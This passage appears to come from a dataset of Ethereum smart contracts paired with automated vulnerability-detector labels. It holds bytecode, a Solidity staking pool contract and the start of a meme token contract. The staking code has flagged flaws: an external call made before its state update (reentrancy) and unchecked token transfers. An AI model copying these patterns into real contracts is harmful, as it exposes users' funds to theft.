0648201526084016106e9565b60008111610e955760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106e9565b6001600160a01b03821660009081526009602052604090205460ff1615610ece5760405162461bcd60e51b81526004016106e990611dd6565b6001600160a01b03831660009081526009602052604090205460ff1615610f075760405162461bcd60e51b81526004016106e990611dd6565b3360009081526009602052604090205460ff1615610f375760405162461bcd60e51b81526004016106e990611dd6565b6000546001600160a01b03848116911614801590610f6357506000546001600160a01b03838116911614155b1561128057601754600160a01b900460ff16610fc15760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106e9565b6017546001600160a01b038381169116148015610fec57506016546001600160a01b03848116911614155b1561105b576001600160a01b038216301480159061101357506001600160a01b0383163014155b801561102d57506015546001600160a01b03838116911614155b801561104757506015546001600160a01b03848116911614155b1561105b5760185481111561105b57600080fd5b6017546001600160a01b0383811691161480159061108757506015546001600160a01b03838116911614155b801561109c57506001600160a01b0382163014155b80156110b357506001600160a01b03821661dead14155b1561117a5760185481111561110a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106e9565b6019548161111784610919565b6111219190611e6e565b1061117a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106e9565b600061118530610919565b601a5490915081118080156111a45750601754600160a81b900460ff16155b80156111be57506017546001600160a01b03868116911614155b80156111d35750601754600160b01b900460ff165b80156111f857506001600160a01b03851660009081526006602052604090205460ff16155b801561121d57506001600160a01b03841660009081526006602052604090205460ff16155b1561127d57601154600090156112585761124d60646112476011548661165790919063ffffffff16565b906116d6565b905061125881611718565b61126a6112658285611ec7565b6114ce565b47801561127a5761127a47611410565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806112c257506001600160a01b03831660009081526006602052604090205460ff165b806112f457506017546001600160a01b038581169116148015906112f457506017546001600160a01b03848116911614155b15611301575060006113c4565b6017546001600160a01b03858116911614801561132c57506016546001600160a01b03848116911614155b15611387576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a541415611387576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156113b257506016546001600160a01b03858116911614155b156113c457600d54600f55600e546010555b6113d084848484611725565b50505050565b600081848411156113fa5760405162461bcd60e51b81526004016106e99190611d4c565b5060006114078486611ec7565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561075a573d6000803e3d6000fd5b60006007548211156114b15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106e9565b60006114bb611759565b90506114c783826116d6565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151657611516611f0f565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561156a57600080fd5b505afa15801561157e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a29190611b60565b816001815181106115b5576115b5611f0f565b6001600160a01b0392831660209182029290920101526016546115db9130911684610c49565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611614908590600090869030904290600401611dfd565b600060405180830381600087803b15801561162e57600080fd5b505af1158015611642573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261166657506000610650565b60006116728385611ea8565b90508261167f8583611e86565b146114c75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106e9565b60006114c783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061177c565b6107ca3061dead83610d6d565b80611732576117326117aa565b61173d8484846117ef565b806113d0576113d0601254600f55601354601055601454601155565b60008060006117666118e6565b909250905061177582826116d6565b9250505090565b6000818361179d5760405162461bcd60e51b81526004016106e99190611d4c565b5060006114078486611e86565b600f541580156117ba5750601054155b80156117c65750601154155b156117cd57565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061180187611928565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118339087611985565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461186290866119c7565b6001600160a01b03891660009081526002602052604090205561188481611a26565b61188e8483611a70565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118d391815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061190282826116d6565b82101561191f57505060075492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006119458a600f54601054611a94565b9250925092506000611955611759565b905060008060006119688e878787611ae3565b919e509c509a509598509396509194505050505091939550919395565b60006114c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d6565b6000806119d48385611e6e565b9050838110156114c75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106e9565b6000611a30611759565b90506000611a3e8383611657565b30600090815260026020526040902054909150611a5b90826119c7565b30600090815260026020526040902055505050565b600754611a7d9083611985565b600755600854611a8d90826119c7565b6008555050565b6000808080611aa860646112478989611657565b90506000611abb60646112478a89611657565b90506000611ad382611acd8b86611985565b90611985565b9992985090965090945050505050565b6000808080611af28886611657565b90506000611b008887611657565b90506000611b0e8888611657565b90506000611b2082611acd8686611985565b939b939a50919850919650505050505050565b8035611b3e81611f3b565b919050565b600060208284031215611b5557600080fd5b81356114c781611f3b565b600060208284031215611b7257600080fd5b81516114c781611f3b565b60008060408385031215611b9057600080fd5b8235611b9b81611f3b565b91506020830135611bab81611f3b565b809150509250929050565b600080600060608486031215611bcb57600080fd5b8335611bd681611f3b565b92506020840135611be681611f3b565b929592945050506040919091013590565b60008060408385031215611c0a57600080fd5b8235611c1581611f3b565b946020939093013593505050565b60006020808385031215611c3657600080fd5b823567ffffffffffffffff80821115611c4e57600080fd5b818501915085601f830112611c6257600080fd5b813581811115611c7457611c74611f25565b8060051b604051601f19603f83011681018181108582111715611c9957611c99611f25565b604052828152858101935084860182860187018a1015611cb857600080fd5b600095505b83861015611ce257611cce81611b33565b855260019590950194938601938601611cbd565b5098975050505050505050565b600060208284031215611d0157600080fd5b813580151581146114c757600080fd5b600060208284031215611d2357600080fd5b5035919050565b60008060408385031215611d3d57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611d7957858101830151858201604001528201611d5d565b81811115611d8b576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e4d5784516001600160a01b031683529383019391830191600101611e28565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e8157611e81611ef9565b500190565b600082611ea357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ec257611ec2611ef9565b500290565b600082821015611ed957611ed9611ef9565b500390565b6000600019821415611ef257611ef2611ef9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ca57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206e23d8423f498c242d4728ab9ecc07268901d3dd613c673c096488802312eda964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,273 |
0x7713d46640b117357e5e4fbdc4b0475e13945a41
|
/**
*Submitted for verification at Etherscan.io on 2020-12-24
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256 r) {
require(m != 0, "SafeMath: to ceil number shall not be zero");
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IRW{
function sendRewards(address to, uint256 tokens) external;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "Only allowed by owner");
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
contract StrawberryPool is Owned {
using SafeMath for uint256;
IERC20 vanilla;
IRW rewardsWallet;
uint256 public stakingPeriod = 30 days;
uint256 private rewardPercentage = 275; // APY
uint256 private maxSlots = 40000 * 10 ** (18);
uint256 private minTokensPerUser = 1000 * 10 ** (18);
uint256 private maxTokensPerUser = 5000 * 10 ** (18);
uint256 private subscriptionPeriod = 3 days;
uint256 public subscriptionEnds;
uint256 public rewardClaimDate;
uint256 public totalClaimedRewards;
uint256 public totalStaked;
struct Account{
uint256 stakedAmount;
uint256 rewardsClaimed;
uint256 pending;
}
mapping(address => Account) public stakers;
event RewardClaimed(address claimer, uint256 reward);
event UnStaked(address claimer, uint256 stakedTokens);
event Staked(address staker, uint256 tokens);
event MinTokensPerUserChanged(address by, uint256 oldValue, uint256 newValue);
event MaxTokensPerUserChanged(address by, uint256 oldValue, uint256 newValue);
event APYChanged(address by, uint256 oldValue, uint256 newValue);
event MaxSlotsChanged(address by, uint256 oldValue, uint256 newValue);
constructor(address _tokenAddress, address _rewardsWallet) public {
vanilla = IERC20(_tokenAddress);
rewardsWallet = IRW(_rewardsWallet);
subscriptionEnds = block.timestamp.add(subscriptionPeriod);
rewardClaimDate = subscriptionEnds.add(stakingPeriod);
}
// ------------------------------------------------------------------------
// Start the staking or add to existing stake
// user must approve the staking contract to transfer tokens before staking
// @param _amount number of tokens to stake
// staking is only possible within subscription period
// ------------------------------------------------------------------------
function STAKE(uint256 _amount) external {
require(block.timestamp <= subscriptionEnds, "subscription time expires");
require(stakers[msg.sender].stakedAmount.add(_amount) >= minTokensPerUser && stakers[msg.sender].stakedAmount.add(_amount) <= maxTokensPerUser, "exceeds allowed ranges");
uint256 deduction = onePercent(_amount).mul(5); // 5% transaction cost
totalStaked = totalStaked.add(_amount.sub(deduction));
require(totalStaked <= maxSlots, "no free slots");
// transfer the tokens from caller to staking contract
vanilla.transferFrom(msg.sender, address(this), _amount);
// record it in contract's storage
stakers[msg.sender].stakedAmount = stakers[msg.sender].stakedAmount.add(_amount.sub(deduction)); // add to the stake or fresh stake
emit Staked(msg.sender, _amount.sub(deduction));
}
function changeMinTokensPerUser(uint256 _newMinTokensPerUser) external onlyOwner{
emit MinTokensPerUserChanged(msg.sender, minTokensPerUser, _newMinTokensPerUser);
minTokensPerUser = _newMinTokensPerUser;
}
function changeMaxTokensPerUser(uint256 _newMaxTokensPerUser) external onlyOwner{
emit MaxTokensPerUserChanged(msg.sender, maxTokensPerUser, _newMaxTokensPerUser);
maxTokensPerUser = _newMaxTokensPerUser;
}
function changeAPY(uint256 _newAPY) external onlyOwner{
emit APYChanged(msg.sender, rewardPercentage, _newAPY);
rewardPercentage = _newAPY;
}
function changeMaxSlots(uint256 _newMaxSlots) external onlyOwner{
emit MaxSlotsChanged(msg.sender, maxSlots, _newMaxSlots);
maxSlots = _newMaxSlots;
}
function Claim() external{
ClaimReward();
UnStake();
}
// ------------------------------------------------------------------------
// Claim reward
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimReward() public {
require(pendingReward(msg.sender) > 0, "nothing pending to claim");
require(block.timestamp > rewardClaimDate, "claim date has not reached");
// transfer the reward tokens
rewardsWallet.sendRewards(msg.sender, pendingReward(msg.sender));
// add claimed reward to global stats
totalClaimedRewards = totalClaimedRewards.add(pendingReward(msg.sender));
emit RewardClaimed(msg.sender, pendingReward(msg.sender));
// add the reward to total claimed rewards
stakers[msg.sender].rewardsClaimed = stakers[msg.sender].rewardsClaimed.add(pendingReward(msg.sender));
}
// ------------------------------------------------------------------------
// Unstake the tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function UnStake() public {
uint256 stakedAmount = stakers[msg.sender].stakedAmount;
require(stakedAmount > 0, "insufficient stake");
if(block.timestamp < rewardClaimDate)
totalStaked = totalStaked.sub(stakedAmount);
else
stakers[msg.sender].pending = pendingReward(msg.sender);
stakers[msg.sender].stakedAmount = 0;
// transfer staked tokens
vanilla.transfer(msg.sender, stakedAmount);
emit UnStaked(msg.sender, stakedAmount);
}
// ------------------------------------------------------------------------
// Query to get the pending reward
// ------------------------------------------------------------------------
function pendingReward(address user) public view returns(uint256 _pendingReward){
uint256 reward = (((stakers[user].stakedAmount).mul(rewardPercentage).mul(stakingPeriod)).div(365 days)).div(100);
reward = reward.sub(stakers[user].rewardsClaimed);
return reward.add(stakers[user].pending);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80639168ae72116100a2578063cea217ac11610071578063cea217ac14610230578063d578ceab1461024d578063ecb9061514610255578063f2fde38b1461025d578063f40f0f52146102835761010b565b80639168ae72146101bf5780639c66f91814610203578063c03d5b471461020b578063ca84d591146102135761010b565b806376159b68116100de57806376159b681461016e57806379372f9a1461018b578063817b1cd2146101935780638da5cb5b1461019b5761010b565b80632d300bc6146101105780633158952e1461012f5780634abe5357146101375780636a032d1e14610154575b600080fd5b61012d6004803603602081101561012657600080fd5b50356102a9565b005b61012d610348565b61012d6004803603602081101561014d57600080fd5b503561035a565b61015c6103f9565b60408051918252519081900360200190f35b61012d6004803603602081101561018457600080fd5b50356103ff565b61012d61049e565b61015c610669565b6101a361066f565b604080516001600160a01b039092168252519081900360200190f35b6101e5600480360360208110156101d557600080fd5b50356001600160a01b031661067e565b60408051938452602084019290925282820152519081900360600190f35b61015c61069f565b61015c6106a5565b61012d6004803603602081101561022957600080fd5b50356106ab565b61012d6004803603602081101561024657600080fd5b503561091a565b61015c6109b9565b61012d6109bf565b61012d6004803603602081101561027357600080fd5b50356001600160a01b0316610b21565b61015c6004803603602081101561029957600080fd5b50356001600160a01b0316610bc3565b6000546001600160a01b03163314610300576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600554604080513381526020810192909252818101839052517fccca48e86e2bbbf244ba9845585f183d753d3d0f42ff075c94c85975ed54c23d9181900360600190a1600555565b61035061049e565b6103586109bf565b565b6000546001600160a01b031633146103b1576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600754604080513381526020810192909252818101839052517ff8aebc70c5c1a14d6145f9ee606a71819d2ecfc65a99a4cb03f84ba4738d63c49181900360600190a1600755565b600a5481565b6000546001600160a01b03163314610456576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600454604080513381526020810192909252818101839052517fba70b9c10ddb750045bee6b7f9cbf7019a95c511ab6431aa6ebb9e82d53e816a9181900360600190a1600455565b60006104a933610bc3565b116104fb576040805162461bcd60e51b815260206004820152601860248201527f6e6f7468696e672070656e64696e6720746f20636c61696d0000000000000000604482015290519081900360640190fd5b600a544211610551576040805162461bcd60e51b815260206004820152601a60248201527f636c61696d206461746520686173206e6f742072656163686564000000000000604482015290519081900360640190fd5b6002546001600160a01b031663c8773af23361056c81610bc3565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156105b257600080fd5b505af11580156105c6573d6000803e3d6000fd5b505050506105df6105d633610bc3565b600b5490610c77565b600b557f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f72413361060d81610bc3565b604080516001600160a01b03909316835260208301919091528051918290030190a161065461063b33610bc3565b336000908152600d602052604090206001015490610c77565b336000908152600d6020526040902060010155565b600c5481565b6000546001600160a01b031681565b600d6020526000908152604090208054600182015460029092015490919083565b60095481565b60035481565b600954421115610702576040805162461bcd60e51b815260206004820152601960248201527f737562736372697074696f6e2074696d65206578706972657300000000000000604482015290519081900360640190fd5b600654336000908152600d602052604090205461071f9083610c77565b101580156107485750600754336000908152600d60205260409020546107459083610c77565b11155b610792576040805162461bcd60e51b81526020600482015260166024820152756578636565647320616c6c6f7765642072616e67657360501b604482015290519081900360640190fd5b60006107a860056107a284610cda565b90610d05565b90506107c06107b78383610d5e565b600c5490610c77565b600c819055600554101561080b576040805162461bcd60e51b815260206004820152600d60248201526c6e6f206672656520736c6f747360981b604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561086557600080fd5b505af1158015610879573d6000803e3d6000fd5b505050506040513d602081101561088f57600080fd5b506108b5905061089f8383610d5e565b336000908152600d602052604090205490610c77565b336000818152600d60205260409020919091557f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d906108f48484610d5e565b604080516001600160a01b03909316835260208301919091528051918290030190a15050565b6000546001600160a01b03163314610971576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600654604080513381526020810192909252818101839052517f1bcb3854e9bd0d925ab3d4f9a7fa173e3bf9f70d39c34b375c08aaefb9666c619181900360600190a1600655565b600b5481565b336000908152600d602052604090205480610a16576040805162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e74207374616b6560701b604482015290519081900360640190fd5b600a54421015610a3557600c54610a2d9082610d5e565b600c55610a52565b610a3e33610bc3565b336000908152600d60205260409020600201555b336000818152600d60209081526040808320839055600154815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b158015610ab757600080fd5b505af1158015610acb573d6000803e3d6000fd5b505050506040513d6020811015610ae157600080fd5b5050604080513381526020810183905281517f79d3df6837cc49ff0e09fd3258e6e45594e0703445bb06825e9d75156eaee8f0929181900390910190a150565b6000546001600160a01b03163314610b78576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600080610c1c6064610c166301e13380610c166003546107a2600454600d60008c6001600160a01b03166001600160a01b0316815260200190815260200160002060000154610d0590919063ffffffff16565b90610da0565b6001600160a01b0384166000908152600d6020526040902060010154909150610c46908290610d5e565b6001600160a01b0384166000908152600d6020526040902060020154909150610c70908290610c77565b9392505050565b600082820183811015610cd1576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b600080610ce8836064610de2565b90506000610cfd612710610c16846064610d05565b949350505050565b600082610d1457506000610cd4565b82820282848281610d2157fe5b0414610cd15760405162461bcd60e51b8152600401808060200182810382526021815260200180610f356021913960400191505060405180910390fd5b6000610cd183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e38565b6000610cd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ecf565b600081610e205760405162461bcd60e51b815260040180806020018281038252602a815260200180610f56602a913960400191505060405180910390fd5b818260018486010381610e2f57fe5b04029392505050565b60008184841115610ec75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e8c578181015183820152602001610e74565b50505050905090810190601f168015610eb95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f1e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610e8c578181015183820152602001610e74565b506000838581610f2a57fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77536166654d6174683a20746f206365696c206e756d626572207368616c6c206e6f74206265207a65726fa26469706673582212209145fb9eb839857bec755a16d86b625b98197d6a5599333881adff3f36f5790164736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,274 |
0xd06c5a09bdb451c6e115090aca02451a25fab001
|
/**
*/
/**
Bender - The Shinja Killer
https://t.me/DogeBenderInu
https://twitter.com/DogeBenderInu
DogeBenderInu.com
The memes are strong with this one. BENDER won't be denied.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DogeBenderInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DogeBender Inu";
string private constant _symbol = "BENDER";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xa71932e17e1F226aefcc7337A999D095b11176A2);
address payable private _marketingAddress = payable(0xa71932e17e1F226aefcc7337A999D095b11176A2);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 3000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
